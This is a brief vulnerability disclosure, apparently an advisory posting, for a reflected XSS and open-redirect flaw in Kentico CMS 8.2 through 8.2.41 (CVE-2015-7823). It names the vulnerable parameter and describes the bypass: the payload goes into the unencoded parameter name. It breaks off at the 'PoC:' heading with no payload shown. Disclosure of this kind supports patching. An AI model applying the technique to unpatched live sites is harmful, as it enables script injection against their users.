                                            `Web application Kentico CMS 8.2 XSS / Open Redirection  
  
The *CVE-2015-7823* reference is still waiting my disclosure.  
The exploit works on *8.2* to *8.2.41*  
  
I've contacted the vendor and he fixed the vulnerability in the next major  
version  
  
  
  
*Vulnerability type:* Reflected XSS (High)  
The *elementguid *variable is vulnerable to Reflected XSS. The parameter  
value encodes the special characters but the parameter name is not so I  
made the payload act as parameter name.  
  
*PoC:*
